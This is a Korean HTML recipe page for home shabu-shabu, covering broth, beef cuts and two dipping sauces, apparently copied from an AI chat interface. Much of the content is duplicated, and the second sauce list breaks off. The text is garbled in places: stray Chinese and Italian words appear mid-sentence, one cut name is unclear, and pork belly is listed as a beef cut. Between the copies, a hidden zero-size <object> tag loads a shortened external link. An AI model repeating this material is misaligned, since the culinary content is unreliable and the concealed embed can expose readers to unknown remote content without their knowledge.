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<div _ngcontent-ng-c637416767="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:41">집에서 샤브샤브 즐기는 방법: 육수부터 고기, 소스까지 완벽 가이드!</h2><p data-sourcepos="3:1-3:195"><strong>추운 겨울이나 쌀쌀한 봄날, 따끈한 샤브샤브만큼 위로가 되는 음식은 없죠?</strong> 집에서도 간편하게 맛있는 샤브샤브를 즐길 수 있다면 더욱 좋을 거예요. 오늘은 집에서 샤브샤브를 만들 때 필요한 모든 정보를 자세히 알려드리겠습니다. 육수부터 고기, 소스까지 꼼꼼하게 알려드리니, 이 가이드만 따라 하시면 누구나 샤브샤브 전문가가 될 수 있을 거예요!</p><p data-sourcepos="5:1-5:9"><strong>1. 육수</strong></p><p data-sourcepos="7:1-7:14"><strong>1-1. 육수 재료</strong></p><ul data-sourcepos="9:1-14:0">
<li data-sourcepos="9:1-9:6">물 8컵</li>
<li data-sourcepos="10:1-10:8">다시마 1장</li>
<li data-sourcepos="11:1-11:20">멸치 다시마 가루 1큰술 (선택)</li>
<li data-sourcepos="12:1-12:8">소금 1큰술</li>
<li data-sourcepos="13:1-14:0">후추 약간</li>
</ul><p data-sourcepos="15:1-15:18"><strong>1-2. 육수 만드는 방법</strong></p><ol data-sourcepos="17:1-21:0">
<li data-sourcepos="17:1-17:23">큰 냄비에 물 8컵을 넣고 끓입니다.</li>
<li data-sourcepos="18:1-18:49">물이 끓으면 다시마와 멸치 다시마 가루 (사용하는 경우)를 넣고 30분간 끓입니다.</li>
<li data-sourcepos="19:1-19:31">30분 후 육수를 체에 걸러 맑은 육수만 얻습니다.</li>
<li data-sourcepos="20:1-21:0">육수에 소금과 후추로 간을 합니다.</li>
</ol><p data-sourcepos="22:1-22:6"><strong>팁:</strong></p><ul data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:34">다시마 대신 멸치나 멸치 다시마 가루를 사용해도 좋습니다.</li>
<li data-sourcepos="25:1-25:39">육수에 취향에 따라 마늘, 생강, 양파 등을 넣고 끓여도 좋습니다.</li>
<li data-sourcepos="26:1-26:35">육수를 끓일 때 칼칼한 맛을 원한다면 멸치를 넣고 끓이세요.</li>
<li data-sourcepos="27:1-28:0">멸치를 넣고 끓인 육수는 불린 해물을 넣어 끓여 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="29:1-29:9"><strong>2. 고기</strong></p><p data-sourcepos="31:1-31:21"><strong>2-1. 샤브샤브용 소고기 부위</strong></p><ul data-sourcepos="33:1-38:0">
<li data-sourcepos="33:1-33:41"><strong>등심:</strong> 가장 부드러운 부위로, 얇게 썰어 먹으면 入口即化입니다.</li>
<li data-sourcepos="34:1-34:56"><strong>리바이:</strong> 등심보다 약간 덜 부드러운 부위이지만, 풍부한 육즙과 깊은 맛을 가지고 있습니다.</li>
<li data-sourcepos="35:1-35:57"><strong>사태:</strong> 저렴한 부위이지만, 쫄깃한 식감과 담백한 맛을 가지고 있어 샤브샤브에 잘 어울립니다.</li>
<li data-sourcepos="36:1-36:47"><strong>삼겹살:</strong> 지방 함량이 높아 부드러운 식감과 풍부한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="37:1-38:0"><strong>우둔살:</strong> 쫄깃한 식감과 진한 육즙을 가지고 있어 샤브샤브뿐만 아니라 구워 먹어도 좋습니다.</li>
</ul><p data-sourcepos="39:1-39:13"><strong>2-2. 고기 팁</strong></p><ul data-sourcepos="41:1-45:0">
<li data-sourcepos="41:1-41:41">샤브샤브용 소고기는 얇게 썰어야 빨리 익고 부드럽게 먹을 수 있습니다.</li>
<li data-sourcepos="42:1-42:82">고기를 냉장고에서 꺼내 바로 샤브샤브 냄비에 넣으면 겉은 익고 속은 덜 익을 수 있으니, 10분 정도 실온에 두어 놓고 사용하는 것이 좋습니다.</li>
<li data-sourcepos="43:1-43:45">고기를 샤브샤브 냄비에 넣으면 칼로 찔러주지 않고 젓가락으로 살짝 풀어주세요.</li>
<li data-sourcepos="44:1-45:0">고기를 너무 오래 끓이면 질겨질 수 있으니, 육색이 변하고 살짝 arricciarsi되면 바로 꺼내 먹어주세요.</li>
</ul><p data-sourcepos="46:1-46:9"><strong>3. 소스</strong></p><p data-sourcepos="48:1-48:14"><strong>3-1. 간장 소스</strong></p><ul data-sourcepos="50:1-57:0">
<li data-sourcepos="50:1-50:8">간장 3큰술</li>
<li data-sourcepos="51:1-51:9">참기름 1큰술</li>
<li data-sourcepos="52:1-52:11">다진 마늘 1큰술</li>
<li data-sourcepos="53:1-53:13">다진 생강 1/2큰술</li>
<li data-sourcepos="54:1-54:8">설탕 1큰술</li>
<li data-sourcepos="55:1-55:7">후추 약간</li>
<li data-sourcepos="56:1-57:0">레몬즙 1큰술 (선택)</li>
</ul><p data-sourcepos="58:1-58:15"><strong>3-2. 고추장 소스</strong></p><ul data-sourcepos="60:1-65:4">
<li data-sourcepos="60:1-60:9">고추장 2큰술</li>
<li data-sourcepos="61:1-61:8">간장 2큰술</li>
<li data-sourcepos="62:1-62:9">참기름 1큰술</li>
<li data-sourcepos="63:1-63:11">다진 마늘 1큰술</li>
<li data-sourcepos="64:1-64:13">다진 생강 1/2큰술</li>
<li data-sourcepos="65:1-65:4">설탕</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/dYis" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="9:1-9:6">물 8컵</li>
<li data-sourcepos="10:1-10:8">다시마 1장</li>
<li data-sourcepos="11:1-11:20">멸치 다시마 가루 1큰술 (선택)</li>
<li data-sourcepos="12:1-12:8">소금 1큰술</li>
<li data-sourcepos="13:1-14:0">후추 약간</li>
</ul><p data-sourcepos="15:1-15:18"><strong>1-2. 육수 만드는 방법</strong></p><ol data-sourcepos="17:1-21:0">
<li data-sourcepos="17:1-17:23">큰 냄비에 물 8컵을 넣고 끓입니다.</li>
<li data-sourcepos="18:1-18:49">물이 끓으면 다시마와 멸치 다시마 가루 (사용하는 경우)를 넣고 30분간 끓입니다.</li>
<li data-sourcepos="19:1-19:31">30분 후 육수를 체에 걸러 맑은 육수만 얻습니다.</li>
<li data-sourcepos="20:1-21:0">육수에 소금과 후추로 간을 합니다.</li>
</ol><p data-sourcepos="22:1-22:6"><strong>팁:</strong></p><ul data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:34">다시마 대신 멸치나 멸치 다시마 가루를 사용해도 좋습니다.</li>
<li data-sourcepos="25:1-25:39">육수에 취향에 따라 마늘, 생강, 양파 등을 넣고 끓여도 좋습니다.</li>
<li data-sourcepos="26:1-26:35">육수를 끓일 때 칼칼한 맛을 원한다면 멸치를 넣고 끓이세요.</li>
<li data-sourcepos="27:1-28:0">멸치를 넣고 끓인 육수는 불린 해물을 넣어 끓여 먹으면 더욱 맛있습니다.</li>
</ul><p data-sourcepos="29:1-29:9"><strong>2. 고기</strong></p><p data-sourcepos="31:1-31:21"><strong>2-1. 샤브샤브용 소고기 부위</strong></p><ul data-sourcepos="33:1-38:0">
<li data-sourcepos="33:1-33:41"><strong>등심:</strong> 가장 부드러운 부위로, 얇게 썰어 먹으면 入口即化입니다.</li>
<li data-sourcepos="34:1-34:56"><strong>리바이:</strong> 등심보다 약간 덜 부드러운 부위이지만, 풍부한 육즙과 깊은 맛을 가지고 있습니다.</li>
<li data-sourcepos="35:1-35:57"><strong>사태:</strong> 저렴한 부위이지만, 쫄깃한 식감과 담백한 맛을 가지고 있어 샤브샤브에 잘 어울립니다.</li>
<li data-sourcepos="36:1-36:47"><strong>삼겹살:</strong> 지방 함량이 높아 부드러운 식감과 풍부한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="37:1-38:0"><strong>우둔살:</strong> 쫄깃한 식감과 진한 육즙을 가지고 있어 샤브샤브뿐만 아니라 구워 먹어도 좋습니다.</li>
</ul><p data-sourcepos="39:1-39:13"><strong>2-2. 고기 팁</strong></p><ul data-sourcepos="41:1-45:0">
<li data-sourcepos="41:1-41:41">샤브샤브용 소고기는 얇게 썰어야 빨리 익고 부드럽게 먹을 수 있습니다.</li>
<li data-sourcepos="42:1-42:82">고기를 냉장고에서 꺼내 바로 샤브샤브 냄비에 넣으면 겉은 익고 속은 덜 익을 수 있으니, 10분 정도 실온에 두어 놓고 사용하는 것이 좋습니다.</li>
<li data-sourcepos="43:1-43:45">고기를 샤브샤브 냄비에 넣으면 칼로 찔러주지 않고 젓가락으로 살짝 풀어주세요.</li>
<li data-sourcepos="44:1-45:0">고기를 너무 오래 끓이면 질겨질 수 있으니, 육색이 변하고 살짝 arricciarsi되면 바로 꺼내 먹어주세요.</li>
</ul><p data-sourcepos="46:1-46:9"><strong>3. 소스</strong></p><p data-sourcepos="48:1-48:14"><strong>3-1. 간장 소스</strong></p><ul data-sourcepos="50:1-57:0">
<li data-sourcepos="50:1-50:8">간장 3큰술</li>
<li data-sourcepos="51:1-51:9">참기름 1큰술</li>
<li data-sourcepos="52:1-52:11">다진 마늘 1큰술</li>
<li data-sourcepos="53:1-53:13">다진 생강 1/2큰술</li>
<li data-sourcepos="54:1-54:8">설탕 1큰술</li>
<li data-sourcepos="55:1-55:7">후추 약간</li>
<li data-sourcepos="56:1-57:0">레몬즙 1큰술 (선택)</li>
</ul><p data-sourcepos="58:1-58:15"><strong>3-2. 고추장 소스</strong></p><ul data-sourcepos="60:1-65:4">
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<li data-sourcepos="61:1-61:8">간장 2큰술</li>
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<li data-sourcepos="63:1-63:11">다진 마늘 1큰술</li>
<li data-sourcepos="64:1-64:13">다진 생강 1/2큰술</li>
<li data-sourcepos="65:1-65:4">설탕</li>
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